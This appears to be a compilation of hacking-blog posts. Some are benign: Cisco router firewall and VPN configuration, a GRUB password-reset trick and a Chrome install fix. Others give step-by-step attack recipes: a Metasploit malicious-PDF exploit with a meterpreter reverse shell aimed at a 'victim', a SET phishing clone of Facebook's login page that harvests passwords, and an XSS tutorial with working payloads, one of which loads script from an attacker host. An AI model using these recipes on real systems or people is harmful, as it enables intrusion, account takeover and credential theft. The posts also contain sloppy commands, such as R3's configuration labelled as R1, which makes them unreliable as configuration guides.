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How To Secure Small Company Network By Cost View

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Today , many small companies not able to buy expensive security devices like Firewall , so fault increase randomly in network security. The main issues here, how to increase the network security in small companies. I am going to giving you introduction about it, also tell you that how can you increase your company security by only making some enhancement in Router.
In this article , I am going to cover below write topic...

1. Context Based Access Control (CBAC)
2. IOS URL Filtering
3. Zone Based Firewall

I hope that after read my this article you will be able to build your company network smart.

Context Based Access Control

CBAC works as a true stateful inspection for IOS Router . Means CBAC used to protocol specific inspection in traffic flows going across the router and dynamically open holes for returning traffic.  Flow of the traffic is from Protected Network (inside of company) to the Unprotected Network (outside of company). When any packet of information gone inside to outside then it registered on the CBAC table and when packet come back then CBAC check the table and then allow or deny the return packet according to information of table . It's look like echo and echo-reply.
 For do this work in better way, CBAC uses the Access Control List (ACL). However , we use the Extended Access List with CBAC. CBAC can inspect generic TCP/UDP connections just to check integrity and open a hole for returning traffic.








I am showing you FTP Application Traffic inspection configuration:

R2(config)#ip inspect name INSPECT ftp
R2(config)#ip access-list INBOUND permit udp any any eq rip
R2(config)#int f0/1                    
R2(config-if)#ip access-group INBOUND in
R2(config-if)#ip inspect INSPECT out

There many use of CBAC , this is only introduction.

IOS URL FILTERING

Configure HTTP URL filtering for achieve below write goal…

1.Filter Java applet from http response.
      2.Filter URL using Websense Server service.
      3.Permit the DNS www.hackarde.com to be accessed at any time.

We will filter URL by using CBAC inspect rule. We need a URL filtering Server with CBAC configuration.  

We will be blocking Java Applet downloads from www.hackarde.com sites.

R2(config)# access-list 1 deny any
R2(config)#ip urlfilter server vendor websense 10.0.0.50

Going to activate Filtering:

R2(config)#ip inspect name INSPECT http java-list 1 urlfilter
R2(config)#ip urlfilter exclusive-domain permit hackarde.com
R2(config)#ip urlfilter allow-mode on
Apply it on Router R2 outside interface f0/1:
R2(config)#int  f0/1
R2(config-if)#ip inspect INSPECT in

Zone Based Firewall (ZFW)

Before the ZFW , the IOS firewall offered stateful inspection using the CBAC Feature (Told you about it already). The problem with CBAC is that traffic passing through the interface was subject to the same inspection policy. In ZFW , inspection can now applied on Zone Based model meant interface of IOS Router assigned to different Zone like INSIDE (Private Zone), OUTSIDE (Public Zone), and DMZ zone.






In above picture, I am showing you that R2 Router works as IOS Firewall and his interface Fa0/0 woks in PRIVATE ZONE , interface Fa0/1 works in PUBLIC ZONE and interface Fa1/0 works in DMZ ZONE.

The following steps are required for configure ZFW in IOS Firewall (R2)…                                                  

1.  Define Zone
      2.  Define Zone Pair
      3.  Define Class Map for identify traffic
      4.  Define a Policy Map to apply action to the traffic in a class map
      5.  Apply Policy Map
      6.  Assign interface of Firewall to zones

I hope that my new article helpful for you.




Make Virtual Private Network (VPN) Between Routers

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Hi friends, after a long period me again came with a very interesting thread in which me tell you How you can make your own VPN (Virtual Private Network) between your Home Router and Office Router.

For this me use Cisco 3700 router. 

Router R1 works as Home Router and R3 works as Office Router and between R1 and R3 we will use router R2 as Internet Router. You can see full diagram in below picture....






Now me going to given IP address to all router interface. For Router R1 interface f0/0 , i use IP add 172.16.12.1 /24 and for Router R2 interface f0/0 172.16.12.2 /24 and same for interface f0/1
172.16.23.2 /24 , and in last for router R3 interface f0/1 me use 172.16.23.3 /24.  

And also make Loopback 1 in Router R1 and R2. For Router R1 loopback is 1.1.1.1 /24 and for R3 is 3.3.3.3 /24 .

First question here is why i am using IP add 172.16.0.0 where this is came into private IP address range, because i am using this only for example, you may take it and else as your wish.

Now for live example see below three picture for above work....







Now i am going to given static IP route for communicate the Router. You may run any interior protocol rather static route.Now see below two pic for static ip route in router R1 and R2....





Now i am going to Ping IP add of R3 by R1 , when you ping it then it successfully ping but when you ping by source Loopback then you get success rate 0.See below two pic for see Ping router R1 to R3 and R3 to R1...





So now me going to make VPN here. First know it, work of building VPN divided into two phase>> Phase 1 & 2.

Now make access-list on router R1 and run command:

R1(config)#access-list 110 permit ip host 1.1.1.1 host 3.3.3.3
R1(config)#crypto isakmp policy 10
R1(config-isakmp)#authentication pre-share
R1(config-isakmp)#encryption 3des
R1(config-isakmp)#group 2
R1(config-isakmp)#hash md5
R1(config-isakmp)#exit
R1(config)#crypto isakmp key 6 cisco address 172.16.23.3
R1(config)#crypto ipsec transform-set esp-3des esp-md5-hmac
exit
R1(config)#crypto map mymap 10 ipsec-isakmp
R1(config-crypto-map)#match add 110
R1(config-crypto-map)#set transform-set tset
R1(config-crypto-map)#set peer 172.16.23.3
exit
R1(config)#int f0/0
R1(config)#crypto map mymap

when you did all steps on R1 then it show you a msg like "isakmp is on"

See below two pics for R1 full configuration....





Now Run same command with some changes in router R3:


R1(config)#access-list 115 permit ip host 3.3.3.3 host 1.1.1.1
R1(config)#crypto isakmp policy 15
R1(config-isakmp)#authentication pre-share
R1(config-isakmp)#encryption 3des
R1(config-isakmp)#group 2
R1(config-isakmp)#hash md5
R1(config-isakmp)#exit
R1(config)#crypto isakmp key 6 cisco address 172.16.12.1
R1(config)#crypto ipsec transform-set esp-3des esp-md5-hmac
exit
R1(config)#crypto map mymap 15 ipsec-isakmp
R1(config-crypto-map)#match add 115
R1(config-crypto-map)#set transform-set tset
R1(config-crypto-map)#set peer 172.16.12.1
exit
R1(config)#int f0/1
R1(config)#crypto map mymap

See below pic for full configuration:







Now go to R1 and Ping 3.3.3.3 by source 1.1.1.1 , now it ping successfully.see below pic...






Now go to R3 and Ping 1.1.1.1 by Source 3.3.3.3 , it ping now successfully:see below pic...





Now your VPN working successfully. Both Loopback ping whose that did not ping before.

For check status run command " sh crypto isakmp sa " , see below pic, it showing you idle state.





I hope you like my new post one again, your support encourage me write new interesting post here.



On-line Services To Decipher Passwords

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I am going to given you some link of online decipher password tool for different software. I hope that you will enjoy it...

































On-line Website Scanner

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Hello friend today i am going to tell you about some on-line scanner tool which are helpful for you in case of web application security testing. I hope you like it and bookmark in your browser for future work done.


















Enjoy my share!

Offline R00T Access in Linux

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Hello friend, today tutorial tell you how to root access in Linux. Use this thing when you forget your Linux password . It is possible but only then if there is no grub menu encrypted, if not we are able to have a root access. but WHAT IS GRUB MENU ?

GRUB or the GRand Unified Bootloader is the bootloader commonly installed by Linux distributions on your hard disk. GRUB is responsible for showing you the menu that allows you to choose the operating system you want to boot into and also lets you tweak and control the booting options.


First of we need to have access to grub menu.You may see it when u have different OS on one computer or at least a few kernels. For Example when you start your Backtrack then it's show you different kernal .

When you see grub menu timer, just stop it by narrow buttons (up or down button of keyboard), we have stopped grub menu timer, see below pic...






For play with root privileges press "e" key on your keyboard..and now we can see (boot) properties. Choose second line which starts from kernel /vmlinuz.....
Press "e" again and go to end of this statement.
Now press "space" and type:   

single linux

Now press Enter button and then press "b" key, Now you get Root Privileges which look like:


[root@computername] #

After that you may add new user by below command :

adduser r00t1

passwd t00r1

Change old user password by command : 

passwd olduser



Hope this work for you and also very useful. Enjoy!

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[Tool] DarkComet RAT Remover

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DarkComet RAT Remover will detect any kind of instance of darkcomet running in memory even if an hacker try to obfuscate the loader to be undetected by common Antivirus softwares, also it detects registry threats and keyloggers logs.

1. Detect DarkComet Even if crypted.
2. Detect DarkComet Even if visualized.
3. Detect DarkComet Even if injected in a remote process.
4. Detect DarkComet Even if Protected / Packed.
5. Detect Registry Changes by DarkComet.
6. Detect Keylogger logs.







Open Rar file and click on DarkComet RAT Remover and after all that click on SCAN.



The Beginners Guide to XSS

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Full Credit goes to MaXe for his amazing thread



___ -:: Introduction ::- ___

What is XSS and what does it refer to?
XSS aka Cross Site Scripting is a client-side attack where an attacker can craft a malicious link, containing script- code which is then executed within the victim's browser when the target site vulnerable to and injected with XSS is viewed. The script-code can be any language supported by the browser but mostly HTML and Javascript is used along with embedded Flash, Java or ActiveX.

In some cases where the XSS vulnerability is persistent as described further below, the attacker will not have to craft a link as the injected script is inserted directly into the target site and / or web application. The target user(s) still has to view the affected site / page where the injected code is located though.

What can Cross Site Scripting be used for?
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser attacks, phishing, propaganda and even worms! However it still requires the victim to click a malicious link created by the attacker or browse a page with injected code. Additionally, it is also possible to execute PHP code in some cases depending on the Web Application but also how the XSS payload (script) is written. This requires a good understanding of JavaScript but also the target Web Application as well.

How could an attacker get a victim to click a XSS-link?
The easiest way to get people to click malicious links is to make them look authentic and nonmalicious. Giving them a reason afterward is the social-engineering part which should be easy except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.

How does an attacker avoid XSS-links looking suspicious?
This is typically done with encoding, short url services, redirects and even flash! Furthermore, in case some HTML tags are allowed on a target site, actual URLs can be hidden somewhat from the user, i.e. on many forums it is possible to craft a link this way: [URL=http://vulnerablesite.tld/index.php?call=<script>alert('XSS');</script>]Free T-shirts![/URL] ( See The /* XSSOR */ link in the bottom for the most common ways to encode JavaScript. )

What types of Cross Site Scripting are there?
The most common types are GET- and POST-based XSS. However Cross Site Scripting can also be triggered via cookies. (XSS can exist in User-Agents too but this is not easy to trigger.) Additionally there is persistent and non-persistent XSS, where the non-persistent has to be triggered via a URL or via another site redirecting the XSS-request to the target vulnerable site for the user (e.g. via short url services).
The persistent XSS can be triggered just by browsing a Web Application with code injected into it. (This depends on which page has code injected, in case the target is not globally affected on all pages loaded by the user.)

What is the difference between GET- and POST-XSS?
The difference is that when GET-requests are used it is possible to conduct the usual XSS attacks where an attacker sends a maliciously crafted URL to the victim which is then executed when the victim opens the link in the browser.
With POST-requests, an attacker could e.g. use flash to send the victim to the POST-XSS vulnerable site since it is not possible to create a URL where POST-requests are in use. However, JavaScript can also be used to create a POST-based XSS request. (This requires the user to view this JavaScript some way, which then sends the POST-based XSS request.)

Are there sub-categories of Cross Site Scripting?
At the moment there's XSSR and XSSQLI. One could say that XSRF/CSRF belongs to the same category, however the attack method differs too much from traditional Cross Site Scripting. XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page unwillingly. The page can for example contain a phishing template, browser attack code or in some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI is a mix of Cross Site Scripting and SQL Injection, where an unknowing victim visits a malicious link containing SQL Injection instructions for an area on the website which requires privileges that guests or members doesn't have. XSRF or CSRF (sometimes referred to as C-Surf) stands for Cross Site Request Forgery which is used to send automated input via the user to the target site. XSRF can in some cases be triggered just by viewing a specially crafted image tag. With Cross Site Request Forgery it may be possible to e.g. alter the password of the victim if the target site is not secured properly with Anti-CSRF tokens etc. (This prevents these automated requests.)

What is XST and can it be used for anything?
XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug) protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send the same answer back. If an attacker sends the following:
Code:  
TRACE / HTTP/1.0
Host: target.tld
Custom-header: <script>alert(0)</script>  

The attacker will receive the same "Custom-header: <scr..." back allowing script execution. However after recent browser updates the following year(s) XST has been increasingly harder to control and execute properly.

How is it possible to find XSS bugs within websites?
There are 2 methods: code / script auditing or fuzzing which is described further below.

What kind of tools is required to find XSS bugs?
(REQ = Required, OPT = Optional) - REQ: An Internet Browser (such as FireFox) in case you're fuzzing. (It is possible to do with netcat, but not advisable.) - REQ: A text-viewer (such as notepad, scite, nano etc.) in case you're auditing. - OPT: An intercepting proxy in case you're doing more advanced XSS. (In FireFox it is possible to use Tamper Data however Burp Suite is generally better in the long run.) - OPT: Browser Addons, for FireFox the following are especially useful: Firebug, LiveHTTP Headers, Add 'N' Edit Cookies, RefControl, Tamper Data and more.

What else is useful to know if One wants to find XSS bugs?
- Browser limitations regarding Cross Site Scripting [1]
- HTTP Headers and how the HTTP protocol works.
- HTML + Javascript and perhaps embedded script attacks. (flash etc.) - Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, diff, grep, etc.)
- Useful browser-addons (see FireCat [3])
- Website scanners (Nikto, W3AF, Grendel, Dirbuster, etc.)

Where is XSS-bugs typically located?
It is usually located in user submitted input either via GET- or POST-requests, where it is reflected on the target site as text outside tags, inside tag values or within javascript. It can also in some cases be submitted via cookies, http headers or in rare cases file uploads. (I.e. filenames has been possible)

How does One protect a site against XSS?
The best way is to ensure that all user input and output is validated and sanitized properly. However in some cases an IPS or WAF can also protect against XSS though the best way is still to validate (and sanitize) the user-input and -output properly. Relying on magic_quotes and other php.ini setting is generally a bad idea and not considered "best practice" options.

 ___ -:: Finding the Bug - With Fuzzing ::- ___


[EASY] Example Case - A:

We're at http://buggysite.tld where we see a "Search-field" in the top-right. Since we don't know the real source code but only the HTML-output of the site we will have to fuzz anything where it is possible to submit data.
In some cases the data will be reflected on the site and in some cases it wont. If it doesn't we move on to the next cookie, header, GET / POST request or whatever it is that we are fuzzing.
The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont trigger anything that might alter the output of the site or render error pages that aren't vulnerable.
An example of an effective string could be: "keyword'/\><
" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site.
The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site might have tried to implement against XSS instead of using a secure coding scheme / plan / development cycle. The reason why all characters are written as >< instead of <> is because this is a common bypass against XSS-filters!
With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:
Lets take a look at the returned HTML-code:

HTML Code:  
...  
<input type="text" name="search" value="&quot;haxxor'/\&gt;&lt;" /> <br /> You searched for \"haxxor\'/\\>< which returned no results.  
...  
As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it properly as it only added slashes which is completely useless against Cross Site Scripting in this case.
By submitting the following string we can XSS their website: <script>alert(0)</script> or perhaps <script src=http://h4x0r.tld/xss.js></script>
Of course we don't know if the following characters : ( ) and . are filtered but in most cases they're not.
Our final XSS-url could be: http://buggysite.tld/search.php?query=<script>alert(0)</script> if GETrequests are used.

[EASY] Example Case - B:


We're at http://yetanothersite.tld where we see another search formular.
The following is returned after our string is submitted to the search field:

HTML Code:    
...  
<input type="text" name="search" value="\"haxxor\'/\\><" /> <br /> You searched for &quot;haxxor'/\&gt;&lt; which returned no results.  
...  
In this case the string after the tag, encoded the string properly. However the string inside the tag only had slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script>
If we're going to load external javascript we will have to avoid using " and ' of course.
Our final XSS-url could be: http://yetanothersite.tld/search.php?query="><script>alert(0)</script> if GET-requests are used.

[MODERATE] Example Case - C:


We're at http://prettysecure.tld where we find yet another search field, it's time to submit our fuzzing string.
The following HTML-code is returned after our string is submitted:

HTML Code:  
...  
<input type="text" name="search" value="&quot;haxxor'/\&gt;&lt;"> You searched for "&quot;haxxor'/\&gt;&lt;" which returned no results.  
... (further down)  
<script>     ...  
s.prop1="prettysecure";     s.prop2="\"haxxor%39/\%3E%3C";     s.prop3="adspace";
 ...     </script>  
For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the XSS bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something better. The reason why a keyword is used is because it is searchable almost always. You can call it a XSS-locator. [1]
Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not filtered, escaped or encoded correctly. So if we write: \" it will become \\", which will escape the first \ but not our quote. As you can see, we can't use tags either so we'll have to use javascript and no hard brackets (unless we use javascript, to create these for us which is possible in numerous amounts of ways).
We have of course checked that soft brackets ( ) are NOT filtered. (in some cases they can be).
By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\" This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\" variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead of s.prop500=\" we just use // in the end of the string.
(Whenever XSS is located within JavaScript, try to finish the script so the rest will execute properly. Think and perform this way since it will help to understand how the page functions as well without breaking it.)
In this case it is also possible to execute external javascript if One uses a bit more advanced javascript. In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter. [The XSSOR]
Our final XSS-url could be: http://prettysecure.tld/search.php?query=\"; alert(0); s.prop500=\"

___ -:: Finding the Bug - With Auditing ::- ___



[EASY] Example Case - A:

The following file (index.php) has some interesting code:
PHP Code:  
...  
if($_GET['view_profile']==1) {     echo $_GET['name'];     ... (more code)     }
...  
By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable. An example attack URL could look like: http://testz.tld/index.php? view_profile=1&name=<script>alert(0)</script>

[HARD] Example Case - B:

The following file (search.php) has some interesting code:
PHP Code:  
...  
if($_GET['set_flag']==1) {     $var = "checked";     }     echo "<input type='radio' value='flag' checked='". htmlentities($var) ."' />";  
...

This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default). Register_Globals basically allows the user to set variables on the fly via the browser, even if they are not meant to be set.
This only applies to variables that are NOT set as in the example above. Another problem we have encountered is htmlentities however due to a coding error we can still abuse the tag without creating a new. We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that the victim triggers the eventhandler no matter what.
There's multiple ways of doing that, one of them is:


HTML Code:  

style='display:block;width:99999px;height:99999px;'  
An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.
You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' />
Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES were not set in the htmlentities function. This means that we can break out of checked='' easily.
An example attack URL could be: http://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0)
There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting.

___ -:: Additional Information ::- ___

XSSR


When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POSTrequests or B) User submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that a site that only accepts HTTP or HTTPS links via GETrequests also falls under the XSSR category.
An example of XSSR could be: http://somesite.tld/redirect.php? link=data:text/html,<script>alert(0)</script> And if the Javascript URI scheme is used: http://somesite.tld/redirect.php?link=javascript:alert(0);
This has in some cases been known to leak cookies and is therefore used in session-hijacking. Additionally being able to use the javascript URI scheme in image tags on forums can be abused as well though not all browsers accepts this, but generally Internet Explorer does. (i.e. <img src="javascript:alert('Exploit-DB Rocks!');" />

XSSQLI


When a SQL Injection vulnerability exists within a privileged area of the target site, XSSQLI becomes plausible.
An example of XSSQLI could be tricking the administrator of "shouldbesecure.tld" to click either the SQL Injection link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site where this could be the vulnerable part: http://shouldbesecure.tld/admin.php? del=1 AND 1=1/*

XSRF


Also known as CSRF and C-Surf, can be used against sites that doesn't use tokens which are usually hidden inside tags. A common way to use tokens against C-Surf attacks is to hide them inside tags like:


HTML Code: 
 
<input type="hidden" name="anti-csrf" value="random token value" />  
If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack. Furthermore, if XSS is present at the target site it may also be possible to use Cross Site Scripting to read these Anti-CSRF values and thereby use them into performing automated request and bypass this protection.


I know this is a long tutorial but i hope when you have read full thread then all thing all clear.


Hack Victim Windows OS based System by Exploit PDF file

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Hello friend now one again a more interesting post here on Windows OS based system hacking. I am happy because you like my old thread on same topic http://www.hackarde.com/2012/04/hack-victim-windows-os-based-system-by.html . But today post based on hack by exploit PDF File. So let start.

1. Open your Backtrack terminal and run command " msfconsole " for start Metasploit framework, see below pic...





2. Now Run command "  use exploit/windows/fileformat/adobe_flatedecode_predictor02  " after this run next command "set payload windows/meterpreter/reverse_tcp  " , see both command live example in below pic..



3. Now Set your system IP as Local Host IP , for example my system IPv4 is 192.168.0.13 so i am going to run command "set lhost 192.168.0.13 (IP of Local Host)  " after it run command for set your file name, in my case i am going to use hackarde.pdf but you can use your name or like storybook , hacking book etc.

set filename hackarde.pdf " and press enter key. And run last command for make exploit PDF file ......

exploit " . For all command run see below pic. Now you see A message come in line of Generated Output File /opt/framework3/msf3/data/exploits/hackarde.pdf , which means my PDF file generated and it save on path " /opt/framework3/msf3/data/exploits ".

Here i am going to setup listener for handle reverse connection of exploit file, so for this run commands...

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.13
exploit

See below picture for full configuration....





4. When you follow path which wrote in step 3 then you found your Exploit PDF file , see below pic...




5. Now i have uploaded this pdf file in free webspace or send by mail or by Pendrive to victim.




6. When Your Victim install this file then your IP connect to victim IP see below picture where my IP 192.168.0.13 now connected by my Victim IP 192.168.0.12, Now your payload set successfully.




7. After step 6 you ready for hack victim system use command "sysinfo" for victim system information ,or for other hacking work used my old tutorial command http://www.hackarde.com/2012/04/hack-victim-windows-os-based-system-by.html


Enjoy!!!!!!!!!!!!!

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How to install google chrome in Backtrack ?

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Hello friend now Ajai come again with new tutorial on backtrack. I am very happy because my Backtrack Tutorial series like by many viewer and also found a lot of mail about query on backtrack. Now come on our thread without spend time. Thread tittle show everything about tutorial. 

1. First open your Backtrack terminal and run command "apt-get install chromium-browser " for download and install browser , see below picture...




2. For switch to chrome directory run command " cd  /usr/lib/chrome-browser " , see below pic for live example...




Now run command " ls " for see the file and directories of chrome, see below pic...




3. If you run chrome then it given error , so now i am going to fix error by use of hexedit. For run hexedit run command " hexedit chrome-browser " , see below pic for live example.... 




When hexedit run then terminal look like below pic and a cursor blink over 7 , like below pic...





4. After step 3 now press "TAB Key" for move cursor 7 to . like below pic...




5. Now next work is searching so press "ctrl + S" when you had done it then a search box open like below pic...




Now search " geteuid " by type in search box , and press ENTER Key for forward process, see below pic..



6. See below picture you got geteuid , Now select whole word by ctrl and mouse left key and change geteuid into " getppid "  like below pic... 




7. If you done step 7 successfully that means you fixed error , now leave there and run chrome by command " ./chromium-browser "  , like below picture...




Now your Chrome browser run successfully, see pic...




You can also get it by going to Application>>>Internet , see below pic...




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How to Hack FaceBook,Gmail and yahoo ID by Backtrack Phishing?

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Hello guys ! Long time before i wrote a tutorial on same topic http://www.hackarde.com/2012/03/hack-facebookgmailyahoo-and-twitter.html which like by mostly people but some visitor mail me and said it was not working for that. I made a promise to C'DUDE for make a new tutorial on same topic so now according to my promise i am come again with new trick.

First open your Backtrack Terminal and run command "ifconfig" for know your IP address like below picture, here my IP address is 192.168.0.13 , see...




Step 1: Now Run two command for open Social Engineer Toolkit (SET) .

cd  /pentest/exploits/set

./set

see below picture for example...




Step 2: Enter your choice : 2 for choose "Website Attack Vector" , see below picture...





Step 3: Now after step 2 Enter your choice: 6 for select "Web Jacking Attack Method" , see picture...





Step 4: Now Enter Choice: 2 for "Site Cloner" , see picture...




Step 5: Now Magic Step here you enter URL of that site which login page you want use as Phishing page, in my case i am going to write http://www.facebook.com . You can also write for gmail , twitter and yahoo. See below pic for live example...




Step 6: When step 5 done then it ask for forward processing by say Press{return} to continue. So write return and then click on ENTER key, see pic...





Step 7: Now Send your IP address to victim by mail or Chat Room and say open this with your browser , You can also use Google URL shortner for change IP into URL , see my old tutorial http://www.hackarde.com/2012/03/hack-facebookgmailyahoo-and-twitter.html

Step 8: After work of step 7 when victim see IP page then they found a link who's say..

The site http://login.facebook.com/login.php has moved. click here to go to the new location 

See below pic...





Step 9: Now when victim click on above write link then you see some lines start come on your terminal window like below pic, means now you connect to your victim System...





Step 10 : 0n Victim site Facebook Phishing page open like below pic, now victim enter his ID and Password ....





Step 11: When victim login button press then this phishing page transfer his ID and Password to your terminal , see live example in below pic...





Now you have successful!!!!!!!!


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